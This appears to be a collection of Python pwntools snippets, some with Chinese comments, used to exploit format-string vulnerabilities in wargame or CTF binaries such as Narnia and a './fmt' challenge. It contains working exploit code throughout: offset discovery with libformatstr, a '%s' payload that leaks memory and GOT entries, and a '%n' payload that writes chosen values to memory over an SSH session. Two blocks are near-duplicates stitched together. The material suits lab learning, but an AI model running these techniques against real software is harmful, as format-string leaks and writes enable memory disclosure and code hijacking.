from pwnlib.tubes.remote import remote from pwnlib.util.packing import p32 from time import sleep from libformatstr import make_pattern, guess_argnum buf_size = 79 r = remote("127.0.0.1", 4444) print r.recvuntil(":") r.sendline(make_pattern(buf_size)) result = r.recvall() print result print "argnum:{}, padding:{}".format(*guess_argnum(result, buf_size))
#context.log_level= 'debug' io = process('./fmt') e = ELF('./fmt') libc = ELF('/lib32/libc.so.6') # libformatstr应用于格式化串在栈中,使得参数也可控的情况,可以实现任意读写 # 生成pattern串判断参数在格式化串的位置 BUF_SZ = 200 # 格式化串的长度 pat = libformatstr.make_pattern(BUF_SZ) io.sendline(pat) res = io.recv() # argnum 表示第argnum个参数位于格式化串首部 # padding 表示使参数对齐需要添加的字节数 0-3 argnum, padding = libformatstr.guess_argnum(res, BUF_SZ) log.info('argnum:%d padding:%d'%(argnum, padding)) # leak不能泄漏地址中含0x00的值 def leak(addr): payload = p32(addr) +"%"+str(argnum)+"$s##" if '\x00' in payload: log.warn('0x00 found in payload') return None io.sendline(payload) buf = io.recvuntil('##\n') buf = buf[4:].strip('##\n') log.info('%#x -> buf(%d):\n %s'%(addr, len(buf), hexdump(buf))) return buf buf = leak(e.got['printf'])
#context.log_level= 'debug' io = process('./fmt') e = ELF('./fmt') libc = ELF('/lib32/libc.so.6') # libformatstr应用于格式化串在栈中,使得参数也可控的情况,可以实现任意读写 # 生成pattern串判断参数在格式化串的位置 BUF_SZ = 200 # 格式化串的长度 pat = libformatstr.make_pattern(BUF_SZ) io.sendline(pat) res = io.recv() # argnum 表示第argnum个参数位于格式化串首部 # padding 表示使参数对齐需要添加的字节数 0-3 argnum, padding = libformatstr.guess_argnum(res, BUF_SZ) log.info('argnum:%d padding:%d' % (argnum, padding)) # leak不能泄漏地址中含0x00的值 def leak(addr): payload = p32(addr) + "%" + str(argnum) + "$s##" if '\x00' in payload: log.warn('0x00 found in payload') return None io.sendline(payload) buf = io.recvuntil('##\n') buf = buf[4:].strip('##\n') log.info('%#x -> buf(%d):\n %s' % (addr, len(buf), hexdump(buf))) return buf
password = '******' pass_file = '/etc/narnia_pass/narnia%d' % (level + 1) bin_path = '/narnia/%s' % bin_file source_path = '/narnia/%s.c' % bin_file # context.log_level = 'debug' shell = ssh(host=host, user=user, password=password) # Download challenge related files if not exists. if not os.path.exists(bin_file): shell.download_file(bin_path) shell.download_file(source_path) buf_size = 0x40 io = shell.run([bin_path, make_pattern(buf_size)]) output_buf = io.recvregex('buffer : \[([^]]+)\]', group=1) argnum, padding = guess_argnum(output_buf, buf_size) log.info('argnum = %d, padding = %d', argnum, padding) addr = int(io.recvregex('i = .* \(0x([a-z0-9]+)\)', group=1), 16) log.info('address of i: %#x', addr) io.close() # Here we put address at the begining to avoid finding argnum of argv[1]. # p = FormatStr() # p[addr] = 500 # payload = p.payload(argnum, padding) payload = p32(addr) payload += '%{count}c%{pos}$n'.format(count=500 - len(payload), pos=argnum) payload = ljust(payload, buf_size) io = shell.run([bin_path, payload]) io.clean()